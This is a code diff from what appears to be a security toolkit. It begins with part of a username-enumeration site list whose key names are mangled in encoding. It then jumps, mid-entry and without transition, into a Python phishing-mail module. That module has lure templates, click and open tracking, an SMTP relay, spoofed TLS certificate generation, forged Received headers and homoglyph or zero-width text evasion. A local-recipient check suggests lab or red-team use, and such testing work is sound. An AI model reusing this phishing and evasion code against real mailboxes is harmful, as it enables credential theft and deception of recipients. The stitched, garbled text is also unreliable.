"Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.tripadvisor.com/Profile/{}", + "urlMain": "https://www.tripadvisor.com", + "usernameON": "blue", + "bad_site": "" + }, + "Tripline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripline.net/{}", + "urlMain": "https://www.tripline.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tripoto": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripoto.com/profile/{}", + "urlMain": "https://www.tripoto.com", + "usernameON": "kapilpandit", + "bad_site": "" + }, + "Tripster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tripster.ru/{}/", + "urlMain": "https://tripster.ru", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trisquel": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://trisquel.info/it/users/{}", + "urlMain": "https://trisquel.info", + "usernameON": "redfox", + "bad_site": "" + }, + "Trp_red": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://www.trp.red/follow/{}", + "urlMain": "https://www.trp.red", + "usernameON": "AlwaysStoic", + "bad_site": "" + }, + "Truckersmp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://truckersmp.ru/{}", + "urlMain": "https://truckersmp.ru", + "usernameON": "RamanBY", + "bad_site": "" + }, + "Trueachievements": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.trueachievements.com/gamer/{}", + "urlMain": "https://www.trueachievements.com", + "usernameON": "metallicafan459", + "bad_site": "" + }, + "Truelancer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This page could not be found.", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://www.truelancer.com/freelancer/{}", + "urlMain": "https://www.truelancer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Truesteamachievements": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "status_code", + "url": "https://truesteamachievements.com/gamer/{}", + "urlMain": "https://truesteamachievements.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Truthbook": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://truthbook.com", + "usernameON": "fanofVan", + "bad_site": "" + }, + "Truthpodium": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://truthpodium.org/@{}", + "urlMain": "https://truthpodium.org", + "usernameON": "Bubba8613", + "bad_site": "" + }, + "Trworkshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.trworkshop.net", + "usernameON": "eric", + "bad_site": "" + }, + "Ttrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, пользователь не найден", + "errorMsg2": "<title data-react-helmet=\"true\">Тропинки.ру", + "errorTyp��": "message", + "url": "https://ttrails.ru/users/{}", + "urlMain": "https://ttrails.ru", + "usernameON": "danika983", + "bad_site": "" + }, + "Ttsport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.ttsport.ru", + "usernameON": "Roos", + "comments": "bad", + "bad_site": "" + }, + "Tula": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tula.net.ru/user/{}/", + "urlMain": "http://tula.net.ru", + "usernameON": "evgenij", + "bad_site": 1 + }, + "Tulup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Нет записей, удовлетворяющих условиям запроса", + "errorMsg2": "

    ", + "errorTyp��": "message", + "url": "https://www.tulup.ru/noindex/userlist.php?search={}", + "urlMain": "https://www.tulup.ru", + "usernameON": "Murchik", + "bad_site": "" + }, + "Tumblr": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://{}.tumblr.com/", + "urlMain": "https://tumblr.com/", + "usernameON": "red", + "comments": "cf", + "bad_site": "" + }, + "Tunefind": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "false,\"err\":{\"name", + "errorMsg2": "Tunefind", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tunefind.com/user/profile/{}", + "urlMain": "https://www.tunefind.com", + "usernameON": "adam", + "comments": "super", + "bad_site": "" + }, + "Turbina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://turbinatravels.com/authors/{}/", + "urlMain": "https://turbina.ru", + "usernameON": "maklai", + "comments": "bad", + "bad_site": "" + }, + "Turkey-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "Пользователей: 0", + "errorTyp��": "message", + "url": "https://turkey-info.ru/forum/memberlist.php?username={}", + "urlMain": "https://turkey-info.ru", + "usernameON": "orduzulu", + "bad_site": "" + }, + "Turpravda": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "https://www.turpravda.ua/profile/{}/", + "urlMain": "https://www.turpravda.ua", + "usernameON": "iryna83", + "bad_site": "" + }, + "Tutor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, введенный вами адрес недоступен", + "errorMsg2": "dtk-front-nuxt</title", + "errorTyp��": "message", + "url": "https://tutor.ru/tutor/{}", + "urlMain": "https://tutor.ru", + "usernameON": "veronika-vikulova", + "bad_site": 1 + }, + "Tutsplus": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tutsplus.com/authors/{}", + "urlMain": "https://tutsplus.com", + "usernameON": "gigi-sayfan", + "bad_site": "" + }, + "Tv-games": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://tv-games.ru/forum/member.php?username={}", + "urlMain": "http://tv-games.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "TVgab": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "For support, please email", + "errorMsg2": "content=\"black-translucent\"/><link", + "errorMsg3": "user-scalable=no\"}],[\"$\",\"meta\\", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://gab.com/{}", + "urlMain": "https://gab.com/", + "usernameON": "HomerWarren", + "comments": "RUblock", + "bad_site": "" + }, + "Tvtropes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{}", + "urlMain": "https://tvtropes.org", + "usernameON": "ZheToralf", + "bad_site": "" + }, + "Tw_weibo": { + "country": "🇨🇳", + "country_klas": "CN", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "<!DOCTYPE", + "errorMsg2": "Oops!", + "errorTyp��": "message", + "url": "https://tw.weibo.com/{}", + "urlMain": "https://tw.weibo.com", + "usernameON": "wow36kr", + "comments": "ZAK_user", + "ignore_status_code": true, + "bad_site": 1 + }, + "Twentysix": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://twentysix.ru/profile/{}/created/topics/", + "urlMain": "https://twentysix.ru", + "usernameON": "AleksandrGrigorev", + "bad_site": "" + }, + "Twitch": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "g:site_name' content='Twitch'><meta property='og:title' content='T", + "errorMsg2": "<title>Just a moment", + "errorMsg3": "content='@twitch'><link", + "errorTyp��": "message", + "url": "https://www.twitch.tv/{}", + "urlMain": "https://www.twitch.tv/", + "urlProbe": "https://m.twitch.tv/{}", + "usernameON": "adam", + "bad_site": "" + }, + "Twitter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "invalid_username", + "errorMsg2": "desc\":\"Available!", + "errorMsg3": "valid\":true,", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://x.com/{}", + "urlMain": "https://x.com", + "urlProbe": "https://api.twitter.com/i/users/username_available.json?username={}", + "usernameON": "durov", + "bad_site": "" + }, + "Typeracer": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "<title>Profile Not Found", + "errorMsg2": "We couldn't find a profile for username:", + "errorTyp��": "message", + "url": "https://data.typeracer.com/pit/profile?user={}", + "urlMain": "https://data.typeracer.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Uanime": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень", + "errorMsg2": "Інформація", + "errorMsg3": "

    Please wait", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://uanime.org.ua", + "usernameON": "Antigonius", + "comments": "old", + "bad_site": 1 + }, + "Uaodessa": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://uaodessa.com/index/8-0-{}", + "urlMain": "https://uaodessa.com", + "usernameON": "Trentonbouri", + "bad_site": "", + "exclusion": "\\W" + }, + "Uazpatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://uazpatriot.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Ubisoft_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.ubisoft.com/user/{}?lang=en-US", + "urlMain": "https://discussions.ubisoft.com", + "usernameON": "mrdarrek", + "bad_site": 1 + }, + "Uchportal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.uchportal.ru/index/8-0-{}", + "urlMain": "https://www.uchportal.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Udemy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.udemy.com/user/{}/", + "urlMain": "https://www.udemy.com", + "usernameON": "adammortimer", + "bad_site": "" + }, + "Ufocomm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "одожд", + "errorTyp��": "message", + "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.ufocomm.ru", + "usernameON": "vik", + "bad_site": "" + }, + "Uforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uforum.uz/member.php?username={}", + "urlMain": "https://uforum.uz", + "usernameON": "Constantin", + "bad_site": "" + }, + "Uft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://uft.me/persons/{}", + "urlMain": "https://uft.me", + "usernameON": "darkelectro", + "comments": "old", + "bad_site": 1 + }, + "Ukraine-footbal": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ukraine-footbal.at.ua/index/8-0-{}", + "urlMain": "https://ukraine-footbal.at.ua", + "usernameON": "pavelsamoylov2022", + "bad_site": "" + }, + "Ultimate-Guitar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ultimate-guitar.com/u/{}", + "urlMain": "https://ultimate-guitar.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Universemc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://universemc.us/members/?username={}", + "urlMain": "https://universemc.us", + "usernameON": "sinnfein", + "comments": "RUblock", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Unixforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "unixforum.org - Информация", + "errorTyp��": "message", + "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://unixforum.org", + "usernameON": "adam", + "bad_site": "" + }, + "Unsorted": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "unsorted ~ ", + "errorTyp��": "message", + "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}", + "urlMain": "https://unsorted.me", + "usernameON": "DALDON", + "bad_site": "" + }, + "Unsplash": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://unsplash.com/@{}/likes", + "urlMain": "https://unsplash.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Untappd": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://untappd.com/user/{}", + "urlMain": "https://untappd.com", + "usernameON": "adam", + "bad_site": "" + }, + "Uphillathlete": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://uphillathlete.com/forums/users/{}/", + "urlMain": "https://uphillathlete.com", + "usernameON": "yamabu", + "bad_site": "" + }, + "Uralfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "nowrap=\"nowrap\">

    14
    + + + + +
    Location:{{location}}
    Device:{{device}}
    Time:{{date}}
    IP Address:{{ip_address}}
    +

    If this was you, no action is needed. Otherwise, secure your account immediately.

    +
    {{tracking_pixel}}
    """, + "text": "Security Alert\n\nDear {{name}},\n\nUnrecognized login detected:\nLocation: {{location}}\nDevice: {{device}}\nTime: {{date}}\nIP: {{ip_address}}\n\nSecure your account: {{link}}", + }, + "Meeting Update": { + "subject": "Meeting Update: {{meeting_title}}", + "html": """
    +
    +

    📅 Calendar Update

    +
    +

    Hi {{name}},

    +

    The following meeting has been updated:

    +
    +{{meeting_title}}
    +{{date}} at {{time}}
    +Organizer: {{organizer}} +
    +

    Please review the updated agenda and confirm your attendance.

    +

    View Meeting Details

    +
    {{tracking_pixel}}
    """, + "text": "Meeting Update: {{meeting_title}}\n\nHi {{name}},\n\n{{meeting_title}} has been updated.\nDate: {{date}} at {{time}}\nOrganizer: {{organizer}}\n\nView details: {{link}}", + }, +} + + +class TemplateManager: + """Manage email templates (built-in + custom).""" + + def __init__(self): + self._file = os.path.join(get_data_dir(), 'phishmail_templates.json') + self._custom = {} + self._load() + + def _load(self): + if os.path.exists(self._file): + try: + with open(self._file, 'r') as f: + self._custom = json.load(f) + except Exception: + self._custom = {} + + def _save(self): + os.makedirs(os.path.dirname(self._file), exist_ok=True) + with open(self._file, 'w') as f: + json.dump(self._custom, f, indent=2) + + def list_templates(self) -> Dict[str, dict]: + merged = {} + for name, tpl in _BUILTIN_TEMPLATES.items(): + merged[name] = {**tpl, 'builtin': True} + for name, tpl in self._custom.items(): + merged[name] = {**tpl, 'builtin': False} + return merged + + def get_template(self, name: str) -> Optional[dict]: + if name in self._custom: + return {**self._custom[name], 'builtin': False} + if name in _BUILTIN_TEMPLATES: + return {**_BUILTIN_TEMPLATES[name], 'builtin': True} + return None + + def save_template(self, name: str, html: str, text: str = '', subject: str = ''): + self._custom[name] = {'html': html, 'text': text, 'subject': subject} + self._save() + + def delete_template(self, name: str) -> bool: + if name in self._custom: + del self._custom[name] + self._save() + return True + return False + + +# ── Campaign Manager ───────────────────────────────────────────────────────── + +class CampaignManager: + """Manage phishing campaigns with tracking.""" + + def __init__(self): + self._file = os.path.join(get_data_dir(), 'phishmail_campaigns.json') + self._campaigns = {} + self._load() + + def _load(self): + if os.path.exists(self._file): + try: + with open(self._file, 'r') as f: + self._campaigns = json.load(f) + except Exception: + self._campaigns = {} + + def _save(self): + os.makedirs(os.path.dirname(self._file), exist_ok=True) + with open(self._file, 'w') as f: + json.dump(self._campaigns, f, indent=2) + + def create_campaign(self, name: str, template: str, targets: List[str], + from_addr: str, from_name: str, subject: str, + smtp_host: str = '127.0.0.1', smtp_port: int = 25) -> str: + cid = uuid.uuid4().hex[:12] + self._campaigns[cid] = { + 'id': cid, + 'name': name, + 'template': template, + 'targets': [ + {'email': t.strip(), 'id': uuid.uuid4().hex[:8], + 'status': 'pending', 'sent_at': None, 'opened_at': None, + 'clicked_at': None} + for t in targets if t.strip() + ], + 'from_addr': from_addr, + 'from_name': from_name, + 'subject': subject, + 'smtp_host': smtp_host, + 'smtp_port': smtp_port, + 'created': datetime.now().isoformat(), + 'status': 'draft', + } + self._save() + return cid + + def get_campaign(self, cid: str) -> Optional[dict]: + return self._campaigns.get(cid) + + def list_campaigns(self) -> List[dict]: + return list(self._campaigns.values()) + + def delete_campaign(self, cid: str) -> bool: + if cid in self._campaigns: + del self._campaigns[cid] + self._save() + return True + return False + + def update_target_status(self, cid: str, target_id: str, + field: str, value: str): + camp = self._campaigns.get(cid) + if not camp: + return + for t in camp['targets']: + if t['id'] == target_id: + t[field] = value + break + self._save() + + def record_open(self, cid: str, target_id: str): + self.update_target_status(cid, target_id, 'opened_at', + datetime.now().isoformat()) + + def record_click(self, cid: str, target_id: str): + self.update_target_status(cid, target_id, 'clicked_at', + datetime.now().isoformat()) + + def get_stats(self, cid: str) -> dict: + camp = self._campaigns.get(cid) + if not camp: + return {} + targets = camp.get('targets', []) + total = len(targets) + sent = sum(1 for t in targets if t.get('sent_at')) + opened = sum(1 for t in targets if t.get('opened_at')) + clicked = sum(1 for t in targets if t.get('clicked_at')) + return { + 'total': total, 'sent': sent, 'opened': opened, + 'clicked': clicked, + 'open_rate': f"{opened/sent*100:.1f}%" if sent else '0%', + 'click_rate': f"{clicked/sent*100:.1f}%" if sent else '0%', + } + + +# ── SMTP Relay Server ──────────────────────────────────────────────────────── + +class _SMTPHandler: + """Simple SMTP receiver using raw sockets (no aiosmtpd dependency).""" + + def __init__(self, host='0.0.0.0', port=2525): + self.host = host + self.port = port + self._sock = None + self._running = False + self._thread = None + self._received = [] + + def start(self): + if self._running: + return + self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._sock.settimeout(2) + self._sock.bind((self.host, self.port)) + self._sock.listen(5) + self._running = True + self._thread = threading.Thread(target=self._accept_loop, daemon=True) + self._thread.start() + + def stop(self): + self._running = False + if self._sock: + try: + self._sock.close() + except Exception: + pass + if self._thread: + self._thread.join(timeout=5) + + def _accept_loop(self): + while self._running: + try: + conn, addr = self._sock.accept() + threading.Thread(target=self._handle_client, + args=(conn, addr), daemon=True).start() + except socket.timeout: + continue + except Exception: + if self._running: + continue + break + + def _handle_client(self, conn, addr): + """Minimal SMTP conversation handler.""" + try: + conn.settimeout(30) + conn.sendall(b'220 Gone Fishing SMTP Ready\r\n') + mail_from = '' + rcpt_to = [] + data_buf = b'' + while True: + line = b'' + while not line.endswith(b'\r\n'): + chunk = conn.recv(1) + if not chunk: + return + line += chunk + cmd = line.decode('utf-8', errors='replace').strip().upper() + + if cmd.startswith('EHLO') or cmd.startswith('HELO'): + conn.sendall(b'250-Gone Fishing\r\n250 OK\r\n') + elif cmd.startswith('MAIL FROM'): + mail_from = line.decode('utf-8', errors='replace').split(':', 1)[1].strip().strip('<>') + conn.sendall(b'250 OK\r\n') + elif cmd.startswith('RCPT TO'): + rcpt = line.decode('utf-8', errors='replace').split(':', 1)[1].strip().strip('<>') + rcpt_to.append(rcpt) + conn.sendall(b'250 OK\r\n') + elif cmd == 'DATA': + conn.sendall(b'354 End data with .\r\n') + data_buf = b'' + while True: + chunk = conn.recv(4096) + if not chunk: + break + data_buf += chunk + if data_buf.endswith(b'\r\n.\r\n'): + break + self._received.append({ + 'from': mail_from, + 'to': rcpt_to, + 'data': data_buf.decode('utf-8', errors='replace'), + 'time': datetime.now().isoformat(), + 'addr': addr, + }) + conn.sendall(b'250 OK\r\n') + elif cmd == 'QUIT': + conn.sendall(b'221 Bye\r\n') + break + elif cmd.startswith('STARTTLS'): + conn.sendall(b'454 TLS not available on relay\r\n') + else: + conn.sendall(b'500 Unknown command\r\n') + except Exception: + pass + finally: + try: + conn.close() + except Exception: + pass + + @property + def received_count(self): + return len(self._received) + + +# ── Gone Fishing Server ───────────────────────────────────────────────────── + +class GoneFishingServer: + """Main phishing mail service combining SMTP relay, sender, and tracking.""" + + def __init__(self): + self.templates = TemplateManager() + self.campaigns = CampaignManager() + self.landing_pages = LandingPageManager() + self.evasion = EmailEvasion() + self.dkim = DKIMHelper() + self._relay = None + self._tracking_events = [] + + @property + def relay_running(self) -> bool: + return self._relay is not None and self._relay._running + + def start_relay(self, host: str = '0.0.0.0', port: int = 2525): + if self._relay and self._relay._running: + return {'ok': True, 'message': 'Relay already running'} + self._relay = _SMTPHandler(host, port) + self._relay.start() + return {'ok': True, 'message': f'SMTP relay started on {host}:{port}'} + + def stop_relay(self): + if self._relay: + self._relay.stop() + self._relay = None + return {'ok': True, 'message': 'Relay stopped'} + + def relay_status(self) -> dict: + if self._relay and self._relay._running: + return { + 'running': True, + 'host': self._relay.host, + 'port': self._relay.port, + 'received': self._relay.received_count, + } + return {'running': False} + + def generate_cert(self, cn: str = 'mail.example.com', + org: str = 'Example Inc', + ou: str = '', locality: str = '', + state: str = '', country: str = 'US', + days: int = 365) -> dict: + """Generate a spoofed self-signed TLS certificate.""" + cert_dir = os.path.join(get_data_dir(), 'certs', 'phishmail') + os.makedirs(cert_dir, exist_ok=True) + + safe_cn = cn.replace('/', '_').replace('\\', '_').replace(' ', '_') + cert_path = os.path.join(cert_dir, f'{safe_cn}.crt') + key_path = os.path.join(cert_dir, f'{safe_cn}.key') + + subj_parts = [f'/CN={cn}'] + if org: + subj_parts.append(f'/O={org}') + if ou: + subj_parts.append(f'/OU={ou}') + if locality: + subj_parts.append(f'/L={locality}') + if state: + subj_parts.append(f'/ST={state}') + if country: + subj_parts.append(f'/C={country}') + subj = ''.join(subj_parts) + + try: + subprocess.run([ + 'openssl', 'req', '-x509', '-newkey', 'rsa:2048', + '-keyout', key_path, '-out', cert_path, + '-days', str(days), '-nodes', + '-subj', subj, + ], check=True, capture_output=True) + return { + 'ok': True, 'cert': cert_path, 'key': key_path, + 'cn': cn, 'org': org, + 'message': f'Certificate generated: {safe_cn}.crt', + } + except FileNotFoundError: + return {'ok': False, 'error': 'OpenSSL not found — install OpenSSL to generate certificates'} + except subprocess.CalledProcessError as e: + return {'ok': False, 'error': f'OpenSSL error: {e.stderr.decode(errors="replace")}'} + + def list_certs(self) -> List[dict]: + cert_dir = os.path.join(get_data_dir(), 'certs', 'phishmail') + if not os.path.isdir(cert_dir): + return [] + certs = [] + for f in os.listdir(cert_dir): + if f.endswith('.crt'): + name = f[:-4] + key_exists = os.path.exists(os.path.join(cert_dir, f'{name}.key')) + certs.append({'name': name, 'cert': f, 'has_key': key_exists}) + return certs + + def _build_message(self, config: dict) -> MIMEMultipart: + """Build a MIME email message from config.""" + msg = MIMEMultipart('alternative') + msg['From'] = f"{config.get('from_name', '')} <{config['from_addr']}>" + msg['To'] = ', '.join(config.get('to_addrs', [])) + msg['Subject'] = config.get('subject', '') + msg['Reply-To'] = config.get('reply_to', config['from_addr']) + msg['X-Mailer'] = config.get('x_mailer', 'Microsoft Outlook 16.0') + msg['Message-ID'] = f"<{uuid.uuid4().hex}@{config['from_addr'].split('@')[-1]}>" + msg['Date'] = datetime.now().strftime('%a, %d %b %Y %H:%M:%S %z') or \ + datetime.now().strftime('%a, %d %b %Y %H:%M:%S +0000') + + # Evasion: additional headers + if config.get('x_priority'): + msg['X-Priority'] = config['x_priority'] + if config.get('x_originating_ip'): + msg['X-Originating-IP'] = f"[{config['x_originating_ip']}]" + if config.get('return_path'): + msg['Return-Path'] = config['return_path'] + if config.get('list_unsubscribe'): + msg['List-Unsubscribe'] = config['list_unsubscribe'] + + # Evasion: spoofed Received headers + for received in config.get('received_headers', []): + msg['Received'] = received + + # Custom headers + for hdr_name, hdr_val in config.get('custom_headers', {}).items(): + msg[hdr_name] = hdr_val + + # Text part + text_body = config.get('text_body', '') + if text_body: + msg.attach(MIMEText(text_body, 'plain')) + + # HTML part + html_body = config.get('html_body', '') + if html_body: + # Apply evasion if requested + evasion_mode = config.get('evasion_mode', '') + if evasion_mode == 'homoglyph': + html_body = self.evasion.homoglyph_text(html_body) + elif evasion_mode == 'zero_width': + html_body = self.evasion.zero_width_insert(html_body) + elif evasion_mode == 'html_entity': + html_body = self.evasion.html_entity_encode(html_body) + msg.attach(MIMEText(html_body, 'html')) + + # Attachments + for filepath in config.get('attachments', []): + if os.path.isfile(filepath): + part = MIMEBase('application', 'octet-stream') + with open(filepath, 'rb') as f: + part.set_payload(f.read()) + encoders.encode_base64(part) + part.add_header('Content-Disposition', 'attachment', + filename=os.path.basename(filepath)) + msg.attach(part) + + return msg + + def _inject_tracking(self, html: str, campaign_id: str, + target_id: str, base_url: str = '') -> str: + """Inject tracking pixel and rewrite links for click tracking.""" + if not base_url: + base_url = 'http://127.0.0.1:8181' + + # Tracking pixel + pixel_url = f"{base_url}/phishmail/track/pixel/{campaign_id}/{target_id}" + pixel_tag = f'' + html = html.replace('{{tracking_pixel}}', pixel_tag) + + # Link rewriting — replace href values with tracking redirects + import re + link_counter = [0] + + def _rewrite_link(match): + original = match.group(1) + if 'track/pixel' in original or 'track/click' in original: + return match.group(0) + link_id = link_counter[0] + link_counter[0] += 1 + import base64 + encoded = base64.urlsafe_b64encode(original.encode()).decode() + track_url = f"{base_url}/phishmail/track/click/{campaign_id}/{target_id}/{encoded}" + return f'href="{track_url}"' + + html = re.sub(r'href="([^"]+)"', _rewrite_link, html) + return html + + def send_email(self, config: dict) -> dict: + """Send a single email. + + Config keys: from_addr, from_name, to_addrs (list), subject, + html_body, text_body, attachments (list of paths), + smtp_host, smtp_port, use_tls, cert_cn (for TLS cert lookup). + """ + to_addrs = config.get('to_addrs', []) + if isinstance(to_addrs, str): + to_addrs = [a.strip() for a in to_addrs.split(',') if a.strip()] + + # Validate all recipients are local + for addr in to_addrs: + ok, msg = _validate_local_only(addr) + if not ok: + return {'ok': False, 'error': msg} + + smtp_host = config.get('smtp_host', '127.0.0.1') + smtp_port = int(config.get('smtp_port', 25)) + use_tls = config.get('use_tls', False) + + config['to_addrs'] = to_addrs + message = self._build_message(config) + + try: + if use_tls: + # Look for spoofed cert + cert_cn = config.get('cert_cn', '') + if cert_cn: + cert_dir = os.path.join(get_data_dir(), 'certs', 'phishmail') + safe_cn = cert_cn.replace('/', '_').replace('\\', '_').replace(' ', '_') + cert_path = os.path.join(cert_dir, f'{safe_cn}.crt') + key_path = os.path.join(cert_dir, f'{safe_cn}.key') + if os.path.exists(cert_path) and os.path.exists(key_path): + import ssl as _ssl + ctx = _ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = _ssl.CERT_NONE + ctx.load_cert_chain(cert_path, key_path) + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + server.starttls(context=ctx) + else: + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + server.starttls() + else: + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + server.starttls() + else: + server = smtplib.SMTP(smtp_host, smtp_port, timeout=15) + + server.sendmail(config['from_addr'], to_addrs, message.as_string()) + server.quit() + return {'ok': True, 'message': f'Email sent to {len(to_addrs)} recipient(s)'} + except smtplib.SMTPException as e: + return {'ok': False, 'error': f'SMTP error: {e}'} + except ConnectionRefusedError: + return {'ok': False, 'error': f'Connection refused: {smtp_host}:{smtp_port}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def send_campaign(self, cid: str, base_url: str = '', + delay: float = 1.0) -> dict: + """Send all emails in a campaign with tracking injection.""" + camp = self.campaigns.get_campaign(cid) + if not camp: + return {'ok': False, 'error': 'Campaign not found'} + + tpl = self.templates.get_template(camp['template']) + if not tpl: + return {'ok': False, 'error': f"Template '{camp['template']}' not found"} + + # Validate all targets first + for t in camp['targets']: + ok, msg = _validate_local_only(t['email']) + if not ok: + return {'ok': False, 'error': f"Target {t['email']}: {msg}"} + + sent = 0 + errors = [] + for t in camp['targets']: + html = tpl.get('html', '') + text = tpl.get('text', '') + subject = camp.get('subject', tpl.get('subject', '')) + + # Variable substitution + vars_map = { + '{{name}}': t['email'].split('@')[0].replace('.', ' ').title(), + '{{email}}': t['email'], + '{{company}}': camp.get('from_name', 'Company'), + '{{date}}': datetime.now().strftime('%B %d, %Y'), + '{{link}}': f'{base_url}/phishmail/track/click/{cid}/{t["id"]}/landing', + } + for var, val in vars_map.items(): + html = html.replace(var, val) 